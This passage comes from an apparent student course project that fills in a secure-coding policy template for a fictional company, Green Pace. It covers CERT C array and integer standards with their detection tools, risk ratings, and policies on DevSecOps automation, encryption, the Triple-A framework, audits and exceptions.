| [CodeSonar](https://wiki.sei.cmu.edu/confluence/display/c/CodeSonar) | 7.3p0 | ALLOC.SIZE.ADDOFLOW  ALLOC.SIZE.IOFLOW  ALLOC.SIZE.MULOFLOW  ALLOC.SIZE.SUBUFLOW  MISC.MEM.SIZE.ADDOFLOW  MISC.MEM.SIZE.BAD  MISC.MEM.SIZE.MULOFLOW  MISC.MEM.SIZE.SUBUFLOW | Addition Overflow of Allocation Size  Integer Overflow of Allocation Size  Multiplication Overflow of Allocation Size  Subtraction Underflow of Allocation Size  Addition Overflow of Size  Unreasonable Size Argument  Multiplication Overflow of Size  Subtraction Underflow of Size |
| [LDRA tool suite](https://wiki.sei.cmu.edu/confluence/display/c/LDRA) | 9.7.1 | 488 S, 493 S, 493 S | Partially implemented |
| [Parasoft C/C++test](https://wiki.sei.cmu.edu/confluence/display/c/Parasoft) | 2022.2 | CERT\_C-INT08-a | Avoid integer overflows |

#### Coding Standard 10

| **Coding Standard** | **Label** | [**Explicitly specify array bounds, even if implicitly defined by an initializer**](https://wiki.sei.cmu.edu/confluence/display/c/ARR02-C.+Explicitly+specify+array+bounds%2C+even+if+implicitly+defined+by+an+initializer) |
| --- | --- | --- |
| **Array Initialization** | [ARR02-C] | The C Standard allows an array variable to be declared both with a bound and with an initialization literal. The initialization literal also implies an array bound in the number of elements specified.  The size implied by an initialization literal is usually specified by the number of elements,  int array[] = {1, 2, 3}; /\* 3-element array \*/  but it is also possible to use designators to initialize array elements in a noncontiguous fashion. Subclause 6.7.9, Example 12, of the C Standard [ISO/IEC 9899:2011] states:  Space can be "allocated" from both ends of an array by using a single designator:  int a[MAX] = {  1, 3, 5, 7, 9, [MAX-5] = 8, 6, 4, 2, 0  };  In the above, if MAX is greater than ten, there will be some zero-valued elements in the middle; if it is less than ten, some of the values provided by the first five initializers will be overridden by the second five.  The C Standard also dictates how array initialization is handled when the number of initialization elements does not equal the explicit array bound. Subclause 6.7.9, paragraphs 21 and 22, state:  If there are fewer initializers in a brace-enclosed list than there are elements or members of an aggregate, or fewer characters in a string literal used to initialize an array of known size than there are elements in the array, the remainder of the aggregate shall be initialized implicitly the same as objects that have static storage duration.  If an array of unknown size is initialized, its size is determined by the largest indexed element with an explicit initializer. The array type is completed at the end of its initializer list.  Although compilers can compute the size of an array on the basis of its initialization list, explicitly specifying the size of the array provides a redundancy check, ensuring that the array's size is correct. It also enables compilers to emit warnings if the array's size is less than the size implied by the initialization.  Note that this recommendation does not apply (in all cases) to character arrays initialized with string literals. See STR11-C. Do not specify the bound of a character array initialized with a string literal for more information. |

| **Noncompliant Code** |
| --- |
| 1. This noncompliant code example initializes an array of integers using an initialization with too many elements for the array. The size of the array a is 3, although the size of the initialization is 4. The last element of the initialization (4) is ignored. Most compilers will diagnose this error. 2. In this example, the compiler allocates an array of four integer elements and, because an array bound is not explicitly specified by the programmer, sets the array bound to 4. However, if the initializer changes, the array bound may also change, causing unexpected results. |
| 1. First example:   int a[3] = {1, 2, 3, 4};   1. Second example:   int a[] = {1, 2, 3, 4}; |

| **Compliant Code** |
| --- |
| This compliant solution explicitly specifies the array bound:  (Explicitly specifying the array bound, although it is implicitly defined by an initializer, allows a compiler or other static analysis tool to issue a diagnostic if these values do not agree.) |
| int a[4] = {1, 2, 3, 4}; |

**Note: Stop here for the milestone. Complete this section for Project One in Module Six.**

| **Principles(s):** Architect and Design for Security Policies  By default, code should be designed so that all arrays are initialized with a pre-defined bound. |
| --- |

**Threat Level**

| **Severity** | **Likelihood** | **Remediation Cost** | **Priority** | **Level** |
| --- | --- | --- | --- | --- |
| Medium | Unlikely | Low | P6 | L2 |

**Automation**

| **Tool** | **Version** | **Checker** | **Description Tool** |
| --- | --- | --- | --- |
| [Axivion Bauhaus Suite](https://wiki.sei.cmu.edu/confluence/display/c/Axivion+Bauhaus+Suite) | 7.2.0 | CertC-ARR02 | Fully implemented |
| [ECLAIR](https://wiki.sei.cmu.edu/confluence/display/c/ECLAIR) | 1.2 | CC2.ARR02 | Fully implemented |
| [PC-lint Plus](https://wiki.sei.cmu.edu/confluence/display/c/PC-lint+Plus) | 1.4 | 576 | Partially supported |
| [PRQA QA-C](https://wiki.sei.cmu.edu/confluence/display/c/PRQA+QA-C) | 9.7 | 0678, 0688, 3674, 3684 | Fully implemented |

### Defense-in-Depth Illustration

This illustration provides a visual representation of the defense-in-depth best practice of layered security.



## Project One

There are seven steps outlined below that align with the elements you will be graded on in the accompanying rubric. When you complete these steps, you will have finished the security policy.

### Revise the C/C++ Standards

You completed one of these tables for each of your standards in the Module Three milestone. In Project One, add revisions to improve the explanation and examples as needed. Add rows to accommodate additional examples of compliant and noncompliant code. Coding standards begin on the security policy.

### Risk Assessment

Complete this section on the coding standards tables. Enter high, medium, or low for each of the headers, then rate it overall using a scale from 1 to 5, 5 being the greatest threat. You will address each of the seven policy standards. Fill in the columns of severity, likelihood, remediation cost, priority, and level using the values provided in the appendix.

### Automated Detection

Complete this section of each table on the coding standards to show the tools that may be used to detect issues. Provide the tool name, version, checker, and description. List one or more tools that can automatically detect this issue and its version number, name of the rule or check (preferably with link), and any relevant comments or description—if any. This table ties to a specific C++ coding standard.

### Automation

Provide a written explanation using the image provided.



Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Most of the coding standards listed in this document will fall into the “pre-production” category, as they are integral to the design of the code rather than the maintenance of it. Only standards STR02-C and ERR59-CPP would realistically be tested in depth during the “production” phase; all other standards should be completely tested in the “pre-production” phase. However, with that said, realistically all standards should be tested via automation in both phases. During pre-production, the automated tests should be done during the “Verify and Test” portion. If there are errors detected, they should be addressed, and the pre-production cycle starts from the beginning. However, if everything comes up clean and the code is ready to move onto production, automated tests should be put in place during the “Monitor and Detect” portion of the production cycle. These tests should periodically test the code for potential vulnerabilities, especially from outside sources.

### Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| ARR02-C | Medium | Unlikely | Low | Medium | 2 |
| DCL00-C | Low | Unlikely | High | Low | 3 |
| DCL03-C | Low | Unlikely | High | Low | 3 |
| DCL04-C | Low | Unlikely | Low | Low | 3 |
| DCL07-C | Low | Unlikely | Low | Low | 3 |
| ERR59-CPP | Low | Probable | Medium | Medium | 3 |
| INT08-C | Medium | Probable | High | Medium | 3 |
| MEM50-CPP | High | Likely | Medium | High | 1 |
| STD-001-CPP | High | Unlikely | Medium | High | 2 |
| STR02-C | High | Likely | Medium | High | 1 |
| STR50-CPP | High | Likely | Medium | High | 1 |

### Create Policies for Encryption and Triple A

Include all three types of encryption (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided***.***

* 1. Explain each type of encryption, how it is used, and why and when the policy applies.
  2. Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| 1. **Encryption** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Encryption in rest | Encryption in rest is used to encrypt data that is being stored, either on a hard disk/solid state drive, or in cloud storage. Under this model, all data being stored and not regularly accessed is encrypted so that only those with the encryption key(s) can utilize the data. If a bad actor gains access to the data, they are unable to use it. This policy is essential as it protects data that might otherwise be neglected. |
| Encryption at flight | Encryption at flight is used to encrypt data that is being transmitted from one location to another. During this process, the data is encrypted on the sender’s side, and then sent in packets to the receiving party (who has the encryption key(s) necessary to decrypt the data). This protects the data in cases where it might be intercepted during transit. |
| Encryption in use | Encryption in use is used to encrypt data that is regularly being accessed or used. This form of encryption can be utilized in order to protect data from physical threats, such as unauthorized personnel trying to gain access to data on a system. |

| 1. **Triple-A Framework\*** | **Explain what it is and how and why the policy applies.** |
| --- | --- |
| Authentication | This strategy is used to make sure only certain individuals have access to data or systems, and is typically implemented via a username/password prompt on the system or program being run. This strategy should occur prior to the user accessing the system/program. |
| Authorization | This strategy ensures that, once a system/program is accessed, certain tasks can only be run by a predefined set of individuals, and is used to define the current user’s level of access. If the current user does not meet the requirements, the system/program should prohibit them from running these tasks. This can be used to prevent or allow users to make system-wide changes, changes to databases, as well as add or remove other users. |
| Accounting | This strategy is used to monitor a user’s activity and usage while in the system/program. This is used to analyze the user’s usage, and to ensure that resources are being utilized as intended. This can also be used to track what files or subsystems the user is accessing. |

**\***Use this checklist for the Triple A to be sure you include these elements in your policy:

* User logins
* Changes to the database
* Addition of new users
* User level of access
* Files accessed by users

### Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

**NOTE:** Green Pace has already successfully implemented the following:

* Operating system logs
* Firewall logs
* Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

## Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

* Code compliance to standards
* Well-documented access-control strategies, with sampled evidence of compliance
* Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use
* Historical evidence of sustained practice (emails, logs, audits, meeting notes)

## Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

## Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

* Business or technical rationale
* Risk impact analysis
* Risk mitigation analysis
* Plan to come into compliance
* Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

## Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

## Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

## Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| 1.1 | 04/09/2023 | Completed Policy | Aaron Campbell | [Insert text.] |

## Appendix A Lookups

### Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |